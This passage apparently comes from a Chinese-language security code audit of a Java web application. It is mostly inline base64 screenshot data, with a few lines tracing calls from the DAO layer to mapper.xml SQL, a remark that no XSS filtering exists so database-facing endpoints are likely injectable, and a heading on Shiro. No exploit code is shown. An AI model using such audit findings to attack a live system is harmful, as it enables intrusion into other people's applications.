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 truncated
|
||||
查看dao层<br>
|
||||
<a id=img13 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456529714-117da3f1-c5d6-4871-b91f-82e09ffd5f8b.png#averageHue=%2324272d&clientId=u8a921088-4e04-4&from=paste&height=44&id=u4ec40df3&originHeight=66&originWidth=1032&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=11773&status=done&style=none&taskId=u7381b274-7964-46c7-beb1-2b70817dcaf&title=&width=688" title><img src="data:image/png;base64,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 truncated
|
||||
之后就是调用mapper.xml中的对应的sql语句<br>
|
||||
<a id=img14 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456692888-874ceaea-3eaa-4669-b091-af8c99ebbf2e.png#averageHue=%23313035&clientId=u8a921088-4e04-4&from=paste&height=478&id=ud0ba1f2d&originHeight=717&originWidth=1288&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=33569&status=done&style=none&taskId=u526d9b55-86f7-4854-8bb7-0e0a15991af&title=&width=858.6666666666666" title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABQgAAALNCAYAAABj4oznAAAgAElEQVR4nOzd/VYaWfsu6hsKFIlKx7bjLz08hr3WXud/OO5kmTYaPwJIUbD/AI0aVPyImtR1jfGOt41YNaWgpO56njkb/+v/+X+nAQAAAABqqfnaAwAAAAAAXo+AEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKgxASEAAAAA1FhrMpm89hgAAAAAgFfSKoritccAAAAAALwSLcYAAAAAUGMCQgAAAACoMQEhAAAAANSYgBAAAAAAakxACAAAAAA1JiAEAAAAgBoTEAIAAABAjQkIAQAAAKDGBIQAAAAAUGMCQgAAAACoMQEhAAAAANSYgBAAAAAAakxACAAAAAA1JiAEAAAAgBoTEAIAAABAjQkIAQAAAKDGBIQAAAAAUGMCQgAAAACoMQEhAAAAANSYgBAAAAAAakxACAAAAAA1JiAEAAAAgBoTEAIAAABAjQkIAQAAAKDGBIQAAAAAUGMCQgAAAACoMQEhAAAAANSYgBAAAAAAaqz12gO4z2QyyWQySZJMp9NXHg0AAAAA/FnedEA4Ho/TaDRSFEUSASEAAAAAPLc3GxCOx+M0m800Gg3BIAAAAAD8Im9yDsLJZJJGoyEcBAAAAIBf7M0GhM1mUzgIAAAAAL/YmwwIAQAAAICX8SYDwul0qnoQAAAAAF7AmwwIAQAAAICXISAEAAAAgBoTEAIAAABAjQkIAQAAAKDGBIQAAAAAUGMCQgAAAACoMQEhAAAAANSYgBAAAAAAakxACAAAAAA1JiAEAAAAgBoTEC4wPtnP/sn4tYdx3eAwnz59umVcgxx+OszgxQd13fhkP58+fcqnwztGMj7J/n2PAQAAAODFCAh/MsjJWZXq7EueM8Man+w/KRQbDIZJOtncbC3YeJkywxw9ccCzgG8/j8tGZ89bivV82Fq7fR/9QaoUWd+8/TEAAAAAvJwFaVPdrWXrQ5n9L2cZDgbJ2nMEWeP0B1VSHWX/pJ2dRSHfnQaZ5YNrWTia1mb+Xh/ky9lRDgdruSOfu3+Mnfd58PCSjE9OMkyS6ixfPp0tfEzn/fvkrEqSnH35lIWP6rzPh9ZJvswfd1Ox/iGb4y85Gi43rmL9wyOebwAAAID6qGVyMjj8tFzANDzKp09Ht3+/WM+Hnc0lnsRWNnc+JPtfcnZ2ksHm1uKg7zaDQWb5YDsn+59yS3Y2H/KnLBxy533+vUwOBzn8dJSFT0F1z++cTt7/e2P845N8vage3Gnn5NNR8v7fn4LKweGnHM2fs/LwU45ydUxXreXfzSQZ52T/S85y/XkeHObGcz//fa7+juOT7H9ZHFQCAAAA8EMtA8KZG0HX4DCfjsqsf9hZooLuIri6+c+zUOqO/C7JMEefPmVxBLcgfMu8vbhYz+ZaK621f7N53/CW1bktoFtsfLKfnzO3QQ6/nKVKJ+93NtMaDJJOMjzaz0l79lwODj/lqOxkvV2ks7mZVsZJq5OcHeXTYR40BgAAAACeV40DwivGJ9k/GiYpnmVznQXVc/e5tapxfJKTYVKsd5//YN1XIblQ+9pXs9biK8Hm2lq21tZmv8/JIJtb7SRFUg0zWPuQnbUkaaW1uZX34085KcsMckvrNAAAAAC/XC0DwrWtf38EUteq/qrb58a7NAvDNneesZLvDoOT2diuRpdLt0jP3ToP3zNUELY2d+btwNddfY7Xtv5Ouf8lZ4N+xps/WoWvHYeHWjTX4YLA83kiXwAAAIA/Vy0DwkuDw3y6krTdtaDFZSh320Ihv8K8evCmJwVrz27ebn13X/Xc7QuYJHnAnI43H2sOQgAAAIDHqm1AOKuGqy6r6AaHn3J09iX7uRkS/ljQ42VXxB3n5OtZqk4nneEw5a/YxTO0GF96SLj3k1vmdAQAAADgl6tnQDg4zJez6tpcgWtb/6Z9sp8vZ1/y6WzWRpwrrbyPmVfwKcYnX3NWdfJ+Zy2DT9fLCB/aYnzr2J9lkZJf4EZl59XKw877t1Q9CQAAAPD7q2dAuLaVfxekTK3NnfzbnbWmHn36NPvHB4ZoSTI8+pQHF+Yt0Hm/lbUMMrjx72+rxbh1OR/j+GQ/n5brNZ4r5qtGt67P6Xh5fC4qC69XJw4GMQchAAAAwDOpZ0B4zaI59Iqsf/g7+folZ1dDpyXDwudYxbi1uZOth23i4Z6zxfjSlRWN7/DkakRzEAIAAAA8i5oFhIsX1Oi8/3dhRWGurVQ8+9mfArWroVQ5TpUia/dlaAu8SlXgW20xvsdSz1VrMzuLllcGAAAA4JqaBYQ3Wlmf+WfH5S9ZSuTn/VwssLKUizbeq/+2lq2FieiskvGktXgxltbmTu7P3IY5+vQpy9UlagAGAAAAeG01CwhvmLehPmTWvOT2FuJyXCXFerov8qwuCv5uGBzm09GN0PKi9Xb9Q3Y2c2OOv0GSTqorC7Xc/DXHJ/v5Mt68o/LwF7cY33XMFrVMP2l1ZQAAAIA/n9wkD5gz8KfVda8apyyTtNtv+kkdnJylSpH1bivJ+MZ317K2tZa1+Zx+JyfjrG22cjHHX95/yFraKYZH+fTp5P6A8g7LVSNeHfjsuS/WPyxoHV4wByEAAAAAS3nLWdbvZdzPoEo6m284oBqf5GSYpLN5T7B3owV5MMgwSSetrG1uZW1zPpfj15N0f6rOe0iL8dzCKr+r80We5cvJej78+68XLAAAAMAzk7c8k8HJWapiPX+/4XxwVj3YyfvLKrtW2u0kw3HK3P5iGAxm8eDa5e9213yMy7UYX2778FNudkFfrOh86+IxAAAAADwbAWGS4dGn3Jy67kHmlXmd9y85112Vsy+fcv80fj8WAlm0+u/a1vsMPh3dW/XXeb986PdUt65SfGeLdxbPQZiYhxAAAADgDjKTPH0OwtepHnzkIiU/uX1F48d5TIvxko9b21JRCAAAAPDMGv/7f/2f6WsP4qayLFMUy6ZGvBWzlYnbj2gxVuEHAAAA8FpkMjybB69MnDvaiQEAAAB4Ec3XHgAAAAAA8HoEhAAAAABQYwJCAAAAAKgxASEAAAAA1JiAEAAAAABqTEAIAAAAADUmIAQAAACAGhMQAgAAAECNCQgBAAAAoMYEhAAAAABQYwJCAAAAAKixNxsQNhqN1x4CAAAAAPzxBIQAAAAAUGNvNiBMhIQAAAAA8Ku9+YBQSAgAAAAAv86bDgiTWUjYbDYFhQAAAADwC7ReewDLUk0IAAAAAM/vzVcQAgAAAAC/joAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaExACAAAAQI0JCAEAAACgxgSEAAAAAFBjAkIAAAAAqDEBIQAAAADUmIAQAAAAAGpMQAgAAAAANSYgBAAAAIAaa732AF5TVVWZTCaZTCavPRTegGazmWazmaIoXm0MXpNQb2/hPPTcjoZHGU1GmUyd115bsLine truncated
|
||||
没有任何对XSS的过滤,所里理论上不止这一个接口,所有跟数据库又交互的地方,应该都有XSS</p>
|
||||
<h1 id=toc-5>shiro</h1>
|
||||
<p><a id=img15 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456883672-cc8b1a64-6fd9-4728-b00b-6af526064a4f.png#averageHue=%231f2125&clientId=u8a921088-4e04-4&from=paste&height=515&id=u20f1e5d3&originHeight=772&originWidth=910&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=111813&status=done&style=none&taskId=ua97b7f5b-09f9-40c3-b434-91c53b157c9&title=&width=606.6666666666666" title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA44AAAMECAYAAADw3HsqAAAgAElEQVR4nOzdd3Rd1Zn38e9Rr1bvvcuSLcsYd1xww+AYgiEkEMqkzjuZyQRSJyQkzJBJAgOZZIYhlQmkAJlQAxhsbMC4YrnbkizZ6laXJV31es/7h2RZzddqtop/n7W8lu+9++7znLa1n7v3OceIjIo1AfwCAgE4X12FiIiIiIiIyAV2kx2AiIiIiIiITG1KHEVERERERMQmJY4iIiIiIiJikxJHERERERERsUmJo4iIiIiIiNikxFFERERERERsUuIoIiIiIiIiNilxFBEREREREZuUOIqIiIiIiIhNShxFRERERETEJiWOIiIiIiIiYpMSRxEREREREbFJiaOIiIiIiIjYpMRRREREREREbFLiKCIiIiIiIjYpcRQRERERERGblDiKiIiIiIiITUocRURERERExCYljiIiIiIiImKTEkcRERERERGxSYmjiIiIiIiI2KTEUURERERERGxS4igiIiIiIiI2KXEUERERERERm5Q4ioiIiIiIiE1KHOWqMGeF8g8Pred/HprHYk9zssMREREREZFRUOIoV4X7/HhuTfIhNimJ29IdJzscEREREREZBSWOMmqmGcCDT36KrU8uYL45stHD5txzHK3roq2uggO5nVc4QhERERERmUgOkx2AXBuM8nwe/m7+hVeTGouIiIiIiIzONTviaLh7sWHLEu5N0fV21wozJYXvbYkk3n2yIxERERERmV6uuRFHw92L9Tel8qkVYYS5dLLz7MXPzLBUfvv9FIKP7ufv9s3iq7fFMTfECbvmJjIzMvnlayWUdV8cLTNNFz7z3c08EFXFM49k4nHHfG5J9MTbsYuqglJefeUoW4utA5ZvmnYkLJvLvavDSQlxwdXoorasmv0fnOK5/RbaDGPM8fTUbxC1cA4PrItgTqgbrtYOasqr+GjHKf58qJFOY2zxm+6xPPnkAuYY/ZcXx49/HTdg+adefp1v7ejorT+Ah55azU0exiXLDDaa+AFMNx8+sXkOm9K8CfZ2wZlOLLVNZB3K5rm3z3Guq195Rw+uX5/KshWpHNydyZ+3FXO2edgwRERERESkH3svb59HAdzce4ZhWltmZk/acPdiw+YF/Mvn5rMhyZ3WvHz+9McD/DGzC/NCMjIrkFtXBuDR5EjCyhA8yqrJLW/HMcCX2UkRLHKt5O1TLVj7khcH5qxIIt27DbugWBZ5NZJdVE8d7sTFBrAkzY3c3aV9yZ1pQsKmNTxxVziRTu3k5lSQW9WNV0QICxdGk26WsT23DcYYj2lCzIYbeeqzkUQ7tXE6p5Iz1d3Migxh2eJo5naUsSOv/WL9o4nfzpEAfzssZRaKytpxDHLHw9rEscMVnCmzUNT773ROGSerLiTLdnh62dNYVkdecR3Fna7E+DpSlXWa9/K7h+yj0cZvmm7c+o9r+cr1s7Cvq+VIdhU5ZS10efmxID2aGwIb2HnEQvuF9a0oZ29pN14hASy5LppbVkaR4N5BabGFWl12KSIiIiJySTN+xHHgCGMXFVm5PL01m3fOtvckjMbQ6+3sopzI/NlW/lTUO9rmGcb3HlnGDatSWfu3XWxrG/wNH/wqdvHlv1bTahiYpgNLP3czP1gcxZYlx8jY1ZuVuEZy30ZfXJrP8bPH9rPD0hujVySPPLKYJRvnsPb9vewYVP+I43GJ4IFN/rjWFvCvP87gYHPvurkH8Y2HV7J201zW7N7LzjHEb7RX8cKzVT3LNwN46KlAQqjir787xNFhtiGAYTSx4+XD7LiwlHWzWBPnesl9Ner4PYJZmeyItegkX/tpNhW9106a9rO4+6vL2RARzFynEvZ0XojHyrljp/np0Vwi0hO4++ZEVq5fzCKNQIqIiIiI2DSjr3E0Y1P45Y828OC6QMwzOfzi8bf4wn8dY2tex8VRxmHYFRXyeuHFETGjsZQPczrBbhbRocN9o4l9u3uSLgDD6GL/4XJaMAgN8rxYLNafZEewHMvrSxoBTEsxbx9rA8cAUmLHEU9cACnOUH4472LSBdBcyZtHmsA5gNRh6h9x/FfaaOO3t8cesDa1Yel3qarR3cBLP3+Hzz96iD2dQ/ezYVg5dzyHJ37yFl9+5gQ7yx1YsH4xv/jRTdwfq2teRUREREQGm9kjjt6ehLp0kr/7CD95pYjS9uFHGAframqnaVC5puYuwAEPj+G+0Ua9ZdBblkbyKptw6uiXm7s54QaUNg4Z8qO2sQPwwMNtHPH01t+dmMCD9w6cCuoS7tBTfpj6Rxz/lTba+C1lZBTNIzk1nf/+ejCZpU1U1DRRWlHHydx66rps72vDMCk/mcNTmSUc/PQNPLTSkzDvCV8rEREREZFpb2YnjmUV7C8NZvmKxfzqumT2fpjJC++do7j9yj8OwijO4TuP5gx683IPojBGktfa+joG4BMdzU3RQz82TeuI6x82/ittlPEbRjMv/fIjzC2zWZkQxKr4CJztewpYWy28/+Ienvq46ZI/Fpj2zqSvSOEz62OY52tHY2kJR8quwHqJiIiIiExzMzpxNCqK+PFjpcQsTOLejfHcsGkZN9xoYe+uLF58r4TC1qv8PEETbE+ENDHHM1Oyt/6c19/iwXdbLlFoCj9DcQzxm5YqXvp9FS8B2DsSGOhJZFQId25JYe098zmRuZv3Bl23aDq4sWBVMnevjSbVx47G0lJefDaTVzIstIwrcxcRERERmZlmdOIIPdfrFR7K5LGMnL4EcvnNS1m+KpUDH2Xxp23FFLYNTBYcPJxxN02a+yURHu4OQBdNTeMIpqWDFsDL0wVoGPCRr6cT0EnTMDdnGXE8ffW7ApdKvKawUcZvOjgR5O1AV3Mrta0mdHdSVV5LVXktltBIfrHel9mR8F72hfJuLFozm7vXRJPsZfQkjK/2SxiVNIqIiIiIDGtG3xynv74E8rG3+adnszhQ58KSjYu4O2Vo2e7IKG6PvrhpTM8wVic5QncDheOZyphfw+lO8EqPY51Xv9i8ItmU7gIdNWTmjyOevGqyOiBoYSI39qvfdJjFfd+8lf97cgWbPCfi5i/tNLUAzs74OU1